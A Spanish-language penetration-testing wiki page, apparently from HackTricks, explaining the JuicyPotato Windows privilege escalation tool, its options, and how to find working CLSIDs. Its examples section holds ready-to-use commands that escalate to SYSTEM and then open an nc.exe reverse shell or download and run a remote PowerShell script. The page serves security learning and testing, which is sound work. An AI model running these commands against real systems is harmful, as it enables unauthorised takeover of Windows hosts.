JuicyPotato

Aprende hacking de AWS de cero a héroe con htARTE (Experto en Red de HackTricks AWS)!

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:


JuicyPotato no funciona en Windows Server 2019 y Windows 10 versión 1809 en adelante. Sin embargo, PrintSpoofer, RoguePotato, SharpEfsPotato se pueden utilizar para aprovechar los mismos privilegios y obtener acceso de nivel NT AUTHORITY\SYSTEM. Verifica:

pageRoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (abusando de los privilegios dorados)

Una versión azucarada de RottenPotatoNG, con un poco de jugo, es decir, otra herramienta de Escalada de Privilegios Locales, desde Cuentas de Servicio de Windows a NT AUTHORITY\SYSTEM

Resumen

Desde el Readme de juicy-potato:

RottenPotatoNG y sus variantes aprovechan la cadena de escalada de privilegios basada en el servicio BITS service teniendo el escucha MiTM en 127.0.0.1:6666 y cuando tienes privilegios SeImpersonate o SeAssignPrimaryToken. Durante una revisión de la construcción de Windows encontramos una configuración donde BITS fue deshabilitado intencionalmente y el puerto 6666 estaba ocupado.

Decidimos armar RottenPotatoNG: Dale la bienvenida a Juicy Potato.

Para la teoría, consulta Rotten Potato - Escalada de Privilegios desde Cuentas de Servicio a SYSTEM y sigue la cadena de enlaces y referencias.

Descubrimos que, además de BITS, hay varios servidores COM que podemos abusar. Solo necesitan:

  1. ser instanciables por el usuario actual, normalmente un "usuario de servicio" que tiene privilegios de suplantación

  2. implementar la interfaz IMarshal

  3. ejecutarse como un usuario elevado (SYSTEM, Administrador, ...)

Después de algunas pruebas, obtuvimos y probamos una extensa lista de CLSID's interesantes en varias versiones de Windows.

Detalles Jugosos

JuicyPotato te permite:

  • Objetivo CLSID elige cualquier CLSID que desees. Aquí puedes encontrar la lista organizada por SO.

  • Puerto de escucha COM define el puerto de escucha COM que prefieras (en lugar del 6666 codificado en duro)

  • Dirección IP de escucha COM vincula el servidor a cualquier IP

  • Modo de creación de proceso dependiendo de los privilegios del usuario suplantado, puedes elegir entre:

  • CreateProcessWithToken (necesita SeImpersonate)

  • CreateProcessAsUser (necesita SeAssignPrimaryToken)

  • ambos

  • Proceso a lanzar lanza un ejecutable o script si la explotación tiene éxito

  • Argumento del proceso personaliza los argumentos del proceso lanzado

  • Dirección del servidor RPC para un enfoque sigiloso, puedes autenticarte en un servidor RPC externo

  • Puerto del servidor RPC útil si deseas autenticarte en un servidor externo y el firewall está bloqueando el puerto 135...

  • Modo de PRUEBA principalmente para propósitos de prueba, es decir, probar CLSIDs. Crea el DCOM e imprime el usuario del token. Ver aquí para pruebas

Uso

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Pensamientos finales

Desde el Readme de juicy-potato:

Si el usuario tiene privilegios SeImpersonate o SeAssignPrimaryToken, entonces eres SYSTEM.

Es casi imposible prevenir el abuso de todos estos Servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de DCOMCNFG, pero buena suerte, esto va a ser desafiante.

La solución actual es proteger cuentas sensibles y aplicaciones que se ejecutan bajo las cuentas * SERVICE. Detener DCOM ciertamente inhibiría este exploit, pero podría tener un impacto grave en el sistema operativo subyacente.

Desde: http://ohpe.it/juicy-potato/

Ejemplos

Nota: Visita esta página para ver una lista de CLSIDs para probar.

Obtener una shell inversa con nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Iniciar un nuevo CMD (si tienes acceso RDP)

Problemas con CLSID

A menudo, el CLSID predeterminado que utiliza JuicyPotato no funciona y el exploit falla. Por lo general, se necesitan varios intentos para encontrar un CLSID que funcione. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:

Verificación de CLSIDs

Primero, necesitarás algunos ejecutables aparte de juicypotato.exe.

Descarga Join-Object.ps1 y cárgalo en tu sesión de PS, y descarga y ejecuta GetCLSID.ps1. Ese script creará una lista de posibles CLSIDs para probar.

Luego descarga test_clsid.bat (cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Comenzará a probar cada CLSID, y cuando el número de puerto cambie, significará que el CLSID funcionó.

Verifica los CLSIDs que funcionan usando el parámetro -c

Referencias

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares ladrones.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Última actualización